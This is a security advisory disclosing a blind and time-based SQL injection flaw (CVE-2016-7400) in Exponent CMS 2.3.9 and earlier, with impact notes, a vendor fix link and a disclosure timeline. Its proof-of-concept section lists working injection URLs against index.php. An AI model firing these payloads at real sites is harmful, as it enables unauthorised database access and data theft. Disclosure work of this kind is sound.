Exponent CMS 2.3.9 - Blind SQL Injection

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MGC ALERT 2016-005

- Original release date: September 09, 2016

- Last revised:  September 20, 2016

- Discovered by: Manuel GarcAa CA!rdenas

- Severity: 7,1/10 (CVSS Base Score)

- CVE-ID: CVE-2016-7400

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I. VULNERABILITY

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Blind SQL Injection in Exponent CMS <= v2.3.9



II. BACKGROUND

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Exponent CMS is a free, open source, open standards modular enterprise

software framework and content management system (CMS) written in the

programming language PHP.



III. DESCRIPTION

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This bug was found using the portal in the index.php page.



To exploit the vulnerability only is needed use the version 1.0 of the HTTP

protocol to interact with the application.



It is possible to inject SQL code in the "index.php" page

"/exponent/index.php".



IV. PROOF OF CONCEPT

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The following URL have been confirmed to all suffer from Blind SQL

injection and Time Based SQL Injection.



Blind SQL Injection POC:



/exponent/index.php'%20or%201%3d1--%20



/exponent/index.php'%20or%201%3d2--%20



Time Based SQL Injection POC:



/exponent/index.php'%20OR%20SLEEP(1)--%20   (2 seconds of response)



/exponent/index.php'%20OR%20SLEEP(30)--%20   (30 seconds of response)



V. BUSINESS IMPACT

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Public defacement, confidential data leakage, and database server

compromise can result from these attacks. Client systems can also be

targeted, and complete compromise of these client systems is also possible.



VI. SYSTEMS AFFECTED

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Exponent CMS <= v2.3.9



VII. SOLUTION

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Vendor fix the vulnerability:

http://www.exponentcms.org/news/updated-patches-released-for-v2-1-4-and-v2-2-3-1473726129-0.50310400



VIII. REFERENCES

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http://www.exponentcms.org/



IX. CREDITS

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This vulnerability has been discovered and reported

by Manuel GarcAa CA!rdenas (advidsec (at) gmail (dot) com).



X. REVISION HISTORY

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September 09, 2016 1: Initial release

September 20, 2016 2: Revision to send to lists



XI. DISCLOSURE TIMELINE

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September 09, 2016 1: Vulnerability acquired by Manuel Garcia Cardenas

September 09, 2016 2: Send to vendor

September 12, 2016 3: Vendor fix vulnerability

September 20, 2016 4: Send to the Full-Disclosure lists



XII. LEGAL NOTICES

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The information contained within this advisory is supplied "as-is" with no

warranties or guarantees of fitness of use or otherwise.



XIII. ABOUT

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Manuel Garcia Cardenas

Pentester